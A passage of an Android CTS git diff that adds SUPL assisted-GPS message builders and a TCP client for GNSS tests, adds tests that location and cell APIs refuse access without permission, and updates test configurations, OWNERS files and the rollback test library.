+   * response to the SUPL START message with a SUPL RESPONSE message containing a SessionID.
+   *
+   */
+  public static byte[] generateSuplStartLocalLocationMessage(@Nullable InetAddress ipAddress)
+      throws UnknownHostException {
+
+    ULP_PDU ulpPdu = new ULP_PDU();
+    Version version = ulpPdu.setVersionToNewInstance();
+    version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+    version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+    version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+    ulpPdu.setVersion(version);
+
+    SessionID sessionId = ulpPdu.setSessionIDToNewInstance();
+
+    SetSessionID setSessionId = sessionId.setSetSessionIDToNewInstance();
+    setSessionId.setSessionIdToNewInstance()
+        .setInteger(BigInteger.valueOf(new Random().nextInt(65536)));
+    if (ipAddress == null){
+      ipAddress = InetAddress.getLocalHost();
+    }
+    byte[] ipAsbytes = ipAddress.getAddress();
+    setSessionId.setSetIdToNewInstance().setIPAddressToNewInstance().setIpv4AddressToNewInstance()
+        .setValue(ipAsbytes);
+
+    UlpMessage message = new UlpMessage();
+    SUPLSTART suplStart = message.setMsSUPLSTARTToNewInstance();
+    SETCapabilities setCapabilities = suplStart.setSETCapabilitiesToNewInstance();
+    PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
+    posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
+    posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
+    posTechnology.setAutonomousGPSToNewInstance().setValue(true);
+    posTechnology.setAFLTToNewInstance().setValue(false);
+    posTechnology.setECIDToNewInstance().setValue(false);
+    posTechnology.setEOTDToNewInstance().setValue(false);
+    posTechnology.setOTDOAToNewInstance().setValue(false);
+
+    setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
+
+    PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
+    posProtocol.setTia801ToNewInstance().setValue(false);
+    posProtocol.setRrlpToNewInstance().setValue(true);
+    posProtocol.setRrcToNewInstance().setValue(false);
+
+    LocationId locationId = suplStart.setLocationIdToNewInstance();
+    CellInfo cellInfo = locationId.setCellInfoToNewInstance();
+    cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
+    // FF-FF-FF-FF-FF-FF
+    final String macBinary = "111111111111111111111111111111111111111111111111";
+    BitSet bits = new BitSet(macBinary.length());
+    for (int i = 0; i < macBinary.length(); ++i) {
+      if (macBinary.charAt(i) == '1') {
+        bits.set(i);
+      }
+    }
+    cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
+        .setApMACAddressToNewInstance().setValue(bits);
+    locationId.setStatusToNewInstance().setValue(Status.Value.current);
+
+    message.setMsSUPLSTART(suplStart);
+
+    ulpPdu.setMessage(message);
+    return encodeUlp(ulpPdu);
+  }
+
+  /**
+   * Generate a SUPL POS INIT message that can be send by the SUPL client to the server in the case
+   * that device location is known via a latitude and a longitude.
+   *
+   * <p>SUPL POS INIT is the second message to be send from the client to the server after receiving
+   * a SUPL RESPONSE containing a SessionID from the server. The SessionID received
+   * from the server response should set in the SUPL POS INIT message.
+   *
+   */
+  public static byte[] generateSuplPositionInitLocalLocationMessage(SessionID sessionId, long latE7,
+      long lngE7) {
+
+    ULP_PDU ulpPdu = new ULP_PDU();
+    Version version = ulpPdu.setVersionToNewInstance();
+    version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+    version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+    version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+    ulpPdu.setVersion(version);
+
+    ulpPdu.setSessionID(sessionId);
+
+    UlpMessage message = new UlpMessage();
+    SUPLPOSINIT suplPosInit = message.setMsSUPLPOSINITToNewInstance();
+    SETCapabilities setCapabilities = suplPosInit.setSETCapabilitiesToNewInstance();
+    PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
+    posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
+    posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
+    posTechnology.setAutonomousGPSToNewInstance().setValue(true);
+    posTechnology.setAFLTToNewInstance().setValue(false);
+    posTechnology.setECIDToNewInstance().setValue(false);
+    posTechnology.setEOTDToNewInstance().setValue(false);
+    posTechnology.setOTDOAToNewInstance().setValue(false);
+
+    setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
+
+    PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
+    posProtocol.setTia801ToNewInstance().setValue(false);
+    posProtocol.setRrlpToNewInstance().setValue(true);
+    posProtocol.setRrcToNewInstance().setValue(false);
+
+    RequestedAssistData reqAssistData = suplPosInit.setRequestedAssistDataToNewInstance();
+
+    reqAssistData.setAlmanacRequestedToNewInstance().setValue(false);
+    reqAssistData.setUtcModelRequestedToNewInstance().setValue(false);
+    reqAssistData.setIonosphericModelRequestedToNewInstance().setValue(true);
+    reqAssistData.setDgpsCorrectionsRequestedToNewInstance().setValue(false);
+    reqAssistData.setReferenceLocationRequestedToNewInstance().setValue(false);
+    reqAssistData.setReferenceTimeRequestedToNewInstance().setValue(true);
+    reqAssistData.setAcquisitionAssistanceRequestedToNewInstance().setValue(false);
+    reqAssistData.setRealTimeIntegrityRequestedToNewInstance().setValue(false);
+    reqAssistData.setNavigationModelRequestedToNewInstance().setValue(true);
+    NavigationModel navigationModelData = reqAssistData.setNavigationModelDataToNewInstance();
+    navigationModelData.setGpsWeekToNewInstance().setInteger(BigInteger.ZERO);
+    navigationModelData.setGpsToeToNewInstance().setInteger(BigInteger.ZERO);
+    navigationModelData.setNSATToNewInstance().setInteger(BigInteger.ZERO);
+    navigationModelData.setToeLimitToNewInstance().setInteger(BigInteger.ZERO);
+
+    LocationId locationId = suplPosInit.setLocationIdToNewInstance();
+    CellInfo cellInfo = locationId.setCellInfoToNewInstance();
+    cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
+    // FF-FF-FF-FF-FF-FF
+    final String macBinary = "111111111111111111111111111111111111111111111111";
+    BitSet bits = new BitSet(macBinary.length());
+    for (int i = 0; i < macBinary.length(); ++i) {
+      if (macBinary.charAt(i) == '1') {
+        bits.set(i);
+      }
+    }
+    cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
+        .setApMACAddressToNewInstance().setValue(bits);
+    locationId.setStatusToNewInstance().setValue(Status.Value.current);
+
+    Position pos = suplPosInit.setPositionToNewInstance();
+    timestampType utcTime = pos.setTimestampToNewInstance();
+    Calendar currentTime = GregorianCalendar.getInstance(TimeZone.getTimeZone("UTC"));
+    utcTime.setYear(currentTime.get(Calendar.YEAR));
+    utcTime.setMonth(currentTime.get(Calendar.MONTH) + 1); // Calendar's MONTH starts from 0.
+    utcTime.setDay(currentTime.get(Calendar.DAY_OF_MONTH));
+    utcTime.setHour(currentTime.get(Calendar.HOUR_OF_DAY));
+    utcTime.setMinute(currentTime.get(Calendar.MINUTE));
+    utcTime.setSecond(currentTime.get(Calendar.SECOND));
+
+    PositionEstimate posEstimate = pos.setPositionEstimateToNewInstance();
+
+    long latSuplFormat = (long) (Math.abs(latE7) / (POSITION_ESTIMATE_LAT_SCALE_FACTOR * 1E7));
+    long lngSuplFormat = (long) (lngE7 / (POSITION_ESTIMATE_LNG_SCALE_FACTOR * 1E7));
+    posEstimate.setLatitudeToNewInstance().setInteger(BigInteger.valueOf(latSuplFormat));
+    posEstimate.setLongitudeToNewInstance().setInteger(BigInteger.valueOf(lngSuplFormat));
+    posEstimate.setLatitudeSignToNewInstance()
+        .setValue(latE7 > 0 ? latitudeSignType.Value.north : latitudeSignType.Value.south);
+
+    message.setMsSUPLPOSINIT(suplPosInit);
+
+    ulpPdu.setMessage(message);
+    return encodeUlp(ulpPdu);
+  }
+
+  public static byte[] generateAssistanceDataAckMessage(SessionID sessionId) {
+    ULP_PDU ulpPdu = new ULP_PDU();
+    Version version = ulpPdu.setVersionToNewInstance();
+    version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+    version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+    version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+    ulpPdu.setVersion(version);
+
+    ulpPdu.setSessionID(sessionId);
+
+    PDU pdu = new PDU();
+    pdu.setReferenceNumberToNewInstance();
+    pdu.getReferenceNumber().setInteger(BigInteger.ONE);
+    pdu.setComponentToNewInstance();
+    pdu.getComponent().setAssistanceDataAckToNewInstance();
+
+    PacketBuilder payloadBuilder = new PacketBuilder();
+    try {
+      payloadBuilder.appendAll(pdu.encodePerUnaligned());
+    } catch (IllegalArgumentException | IllegalStateException | IndexOutOfBoundsException
+        | UnsupportedOperationException e) {
+      throw new RuntimeException(e);
+    }
+    PosPayLoad.rrlpPayloadType rrlpPayload = new PosPayLoad.rrlpPayloadType();
+    rrlpPayload.setValue(payloadBuilder.getPaddedBytes());
+
+    UlpMessage message = new UlpMessage();
+    SUPLPOS suplPos = message.setMsSUPLPOSToNewInstance();
+    suplPos.setPosPayLoadToNewInstance();
+    suplPos.getPosPayLoad().setRrlpPayload(rrlpPayload);
+
+    ulpPdu.setMessage(message);
+
+    return encodeUlp(ulpPdu);
+  }
+
+  /** Encodes a ULP_PDU message into bytes and sets the length field. */
+  public static byte[] encodeUlp(ULP_PDU message) {
+    message.setLengthToNewInstance();
+    message.getLength().setInteger(BigInteger.ZERO);
+    PacketBuilder messageBuilder = new PacketBuilder();
+    messageBuilder.appendAll(message.encodePerUnaligned());
+    byte[] result = messageBuilder.getPaddedBytes();
+    ByteBuffer buffer = ByteBuffer.wrap(result);
+    buffer.order(ByteOrder.BIG_ENDIAN);
+    buffer.putShort((short) result.length);
+    return buffer.array();
+  }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplTcpClient.java b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplTcpClient.java
new file mode 100644
index 0000000..f56f330
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplTcpClient.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.suplClient;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A TCP client that is used to send and receive SUPL request and responses by the SUPL client. The
+ * constructor establishes a connection to the SUPL server specified by a given address and port.
+ */
+public class SuplTcpClient {
+
+  private static final int READ_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10);
+  private static final short HEADER_SIZE = 2;
+  /** BUFFER_SIZE data size that is enough to hold SUPL responses */
+  private static final int SUPL_RESPONSE_BUFFER_SIZE = 16384;
+  private static final byte[] SUPL_RESPONSE_BUFFER = new byte[SUPL_RESPONSE_BUFFER_SIZE];
+
+  private Socket socket;
+  private BufferedInputStream bufferedInputStream;
+
+  public SuplTcpClient(String suplServerName, int suplServerPort)
+      throws UnknownHostException, IOException {
+    System.out.println("Connecting to " + suplServerName + " on port " + suplServerPort);
+    socket = new Socket(suplServerName, suplServerPort);
+    socket.setSoTimeout(READ_TIMEOUT_MILLIS);
+    System.out.println("Connection established to " + socket.getOutputStream());
+    bufferedInputStream = new BufferedInputStream(socket.getInputStream());
+
+  }
+
+  /** Sends a byte array of SUPL data to the server */
+  public void sendSuplRequest(byte[] data) throws IOException {
+    socket.getOutputStream().write(data);
+  }
+
+  /**
+   * Reads SUPL server response and return it as a byte array. Upon the SUPL protocol, the size of
+   * the payload is stored in the first two bytes of the response, hence these two bytes are read
+   * first followed by reading a payload of that size. Null is returned if the size of the payload
+   * is not readable.
+   */
+  public byte[] getSuplResponse() throws IOException {
+    int sizeOfRead = bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 0, HEADER_SIZE);
+    if (sizeOfRead == HEADER_SIZE) {
+      byte[] lengthArray = {SUPL_RESPONSE_BUFFER[0], SUPL_RESPONSE_BUFFER[1]};
+      short dataLength = ByteBuffer.wrap(lengthArray).getShort();
+      bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 2, dataLength - HEADER_SIZE);
+      return SUPL_RESPONSE_BUFFER;
+    } else {
+      return null;
+    }
+  }
+
+  /** Closes the TCP socket */
+  public void closeSocket() throws IOException {
+    socket.close();
+  }
+}
diff --git a/tests/location/location_none/Android.bp b/tests/location/location_none/Android.bp
new file mode 100644
index 0000000..5c4a030
--- /dev/null
+++ b/tests/location/location_none/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLocationNoneTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "LocationCtsCommon",
+        "androidx.test.ext.junit",
+        "androidx.test.ext.truth",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/location/location_none/AndroidManifest.xml b/tests/location/location_none/AndroidManifest.xml
new file mode 100644
index 0000000..957aeeb
--- /dev/null
+++ b/tests/location/location_none/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.location.cts.none">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for android.location"
+                     android:targetPackage="android.location.cts.none" >
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/location/location_none/AndroidTest.xml b/tests/location/location_none/AndroidTest.xml
new file mode 100644
index 0000000..302cb06
--- /dev/null
+++ b/tests/location/location_none/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Location test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLocationNoneTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.location.cts.none" />
+    </test>
+
+</configuration>
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
new file mode 100644
index 0000000..d619f32
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.location.Criteria;
+import android.location.LocationManager;
+import android.location.cts.common.LocationListenerCapture;
+import android.location.cts.common.LocationPendingIntentCapture;
+import android.os.Looper;
+import android.telephony.CellInfo;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+
+@RunWith(AndroidJUnit4.class)
+public class NoLocationPermissionTest {
+
+    private Context mContext;
+    private LocationManager mLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mLocationManager = mContext.getSystemService(LocationManager.class);
+
+        assertNotNull(mLocationManager);
+    }
+
+    @SuppressWarnings("deprecation")
+    @Test
+    public void testGetCellLocation() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.getCellLocation();
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetAllCellInfo() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.getAllCellInfo();
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testListenCellLocation() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.listen(new PhoneStateListener(Runnable::run),
+                    PhoneStateListener.LISTEN_CELL_LOCATION);
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestCellInfoUpdate() {
+        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
+        assertNotNull(telephonyManager);
+
+        try {
+            telephonyManager.requestCellInfoUpdate(Runnable::run,
+                    new TelephonyManager.CellInfoCallback() {
+                        @Override
+                        public void onCellInfo(List<CellInfo> cellInfos) {
+                        }
+                    });
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates() {
+        for (String provider : mLocationManager.getAllProviders()) {
+            try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+                mLocationManager.requestLocationUpdates(provider, 0, 0, capture,
+                        Looper.getMainLooper());
+                fail("Should throw SecurityException for provider " + provider);
+            } catch (SecurityException e) {
+                // expected
+            }
+
+            try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+                mLocationManager.requestLocationUpdates(provider, 0, 0, Runnable::run, capture);
+                fail("Should throw SecurityException for provider " + provider);
+            } catch (SecurityException e) {
+                // expected
+            }
+
+            try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(
+                    mContext)) {
+                mLocationManager.requestLocationUpdates(provider, 0, 0, capture.getPendingIntent());
+                fail("Should throw SecurityException for provider " + provider);
+            } catch (SecurityException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testAddProximityAlert() {
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext,
+                0, new Intent("action"), PendingIntent.FLAG_ONE_SHOT);
+        try {
+            mLocationManager.addProximityAlert(0, 0, 100, -1, pendingIntent);
+            fail("Should throw SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        } finally {
+            pendingIntent.cancel();
+        }
+    }
+
+    @Test
+    public void testGetLastKnownLocation() {
+        for (String provider : mLocationManager.getAllProviders()) {
+            try {
+                mLocationManager.getLastKnownLocation(provider);
+                fail("Should throw SecurityException for provider " + provider);
+            } catch (SecurityException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testGetProvider() {
+        for (String provider : mLocationManager.getAllProviders()) {
+            mLocationManager.getProvider(provider);
+        }
+    }
+
+    @Test
+    public void testIsProviderEnabled() {
+        for (String provider : mLocationManager.getAllProviders()) {
+            mLocationManager.isProviderEnabled(provider);
+        }
+    }
+
+    @Test
+    public void testAddTestProvider() {
+        for (String provider : mLocationManager.getAllProviders()) {
+            try {
+                mLocationManager.addTestProvider(
+                        provider,
+                        true,
+                        true,
+                        true,
+                        true,
+                        true,
+                        true,
+                        true,
+                        Criteria.POWER_LOW,
+                        Criteria.ACCURACY_FINE);
+                fail("Should throw SecurityException for provider " + provider);
+            } catch (SecurityException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testRemoveTestProvider() {
+        for (String provider : mLocationManager.getAllProviders()) {
+            try {
+                mLocationManager.removeTestProvider(provider);
+                fail("Should throw SecurityException for provider " + provider);
+            } catch (SecurityException e) {
+                // expected
+            }
+        }
+    }
+}
diff --git a/tests/mocking/extended/AndroidTest.xml b/tests/mocking/extended/AndroidTest.xml
index dad860d..aa44391 100644
--- a/tests/mocking/extended/AndroidTest.xml
+++ b/tests/mocking/extended/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="mocking" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/pdf/AndroidTest.xml b/tests/pdf/AndroidTest.xml
index 9e0eae2..608787f 100644
--- a/tests/pdf/AndroidTest.xml
+++ b/tests/pdf/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="component" value="print" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/perfetto/OWNERS b/tests/perfetto/OWNERS
new file mode 100644
index 0000000..05798d7
--- /dev/null
+++ b/tests/perfetto/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 323270
+primiano@google.com
+lalitm@google.com
diff --git a/tests/rollback/Android.bp b/tests/rollback/Android.bp
index 080a2d5..3b3e617 100644
--- a/tests/rollback/Android.bp
+++ b/tests/rollback/Android.bp
@@ -15,7 +15,7 @@
 android_test {
     name: "CtsRollbackManagerTestCases",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-rollback-lib"],
+    static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
     test_suites: ["general-tests"],
     sdk_version: "test_current",
 }
diff --git a/tests/rollback/AndroidManifest.xml b/tests/rollback/AndroidManifest.xml
index 5de7f87..3203f25 100644
--- a/tests/rollback/AndroidManifest.xml
+++ b/tests/rollback/AndroidManifest.xml
@@ -19,7 +19,7 @@
           package="com.android.cts.rollback" >
 
     <application>
-        <receiver android:name="com.android.cts.rollback.lib.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/rollback/AndroidTest.xml b/tests/rollback/AndroidTest.xml
index 2fca9d0..534ed1e 100644
--- a/tests/rollback/AndroidTest.xml
+++ b/tests/rollback/AndroidTest.xml
@@ -23,8 +23,8 @@
         <option name="test-file-name" value="CtsRollbackManagerTestCases.apk"/>
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm uninstall com.android.cts.rollback.lib.testapp.A" />
-        <option name="teardown-command" value="pm uninstall com.android.cts.rollback.lib.testapp.A" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
         <option name="package" value="com.android.cts.rollback"/>
diff --git a/tests/rollback/OWNERS b/tests/rollback/OWNERS
new file mode 100644
index 0000000..5a631b6
--- /dev/null
+++ b/tests/rollback/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 557916
+include /hostsidetests/rollback/OWNERS
diff --git a/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java
deleted file mode 100644
index f7ab15d..0000000
--- a/tests/rollback/src/android/server/cts/rollback/RollbackManagerTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback;
-
-import static com.android.cts.rollback.lib.RollbackInfoSubject.assertThat;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.Manifest;
-import android.content.rollback.RollbackInfo;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.rollback.lib.Install;
-import com.android.cts.rollback.lib.Rollback;
-import com.android.cts.rollback.lib.TestApp;
-import com.android.cts.rollback.lib.Utils;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.IOException;
-
-/**
- * CTS Tests for RollbackManager APIs.
- */
-@RunWith(JUnit4.class)
-public class RollbackManagerTest {
-
-    /**
-     * Adopts common permissions needed to test rollbacks and uninstalls the
-     * test apps.
-     */
-    @Before
-    public void setup() throws InterruptedException, IOException {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(
-                    Manifest.permission.INSTALL_PACKAGES,
-                    Manifest.permission.DELETE_PACKAGES,
-                    Manifest.permission.TEST_MANAGE_ROLLBACKS);
-
-        Utils.uninstall(TestApp.A);
-    }
-
-    /**
-     * Drops adopted shell permissions and uninstalls the test apps.
-     */
-    @After
-    public void teardown() throws InterruptedException, IOException {
-        Utils.uninstall(TestApp.A);
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
-    }
-
-    /**
-     * Test basic rollbacks.
-     */
-    @Test
-    public void testBasic() throws Exception {
-        Install.single(TestApp.A1).commit();
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertThat(Utils.getAvailableRollback(TestApp.A)).isNull();
-        assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
-
-        Install.single(TestApp.A2).setEnableRollback().commit();
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.A);
-        assertThat(available).isNotNull();
-        assertThat(available).isNotStaged();
-        assertThat(available).packagesContainsExactly(
-                Rollback.from(TestApp.A2).to(TestApp.A1));
-        assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
-
-        Utils.rollback(available.getRollbackId(), TestApp.A2);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
-        assertThat(Utils.getAvailableRollback(TestApp.A)).isNull();
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
-        assertThat(committed).isNotNull();
-        assertThat(committed).hasRollbackId(available.getRollbackId());
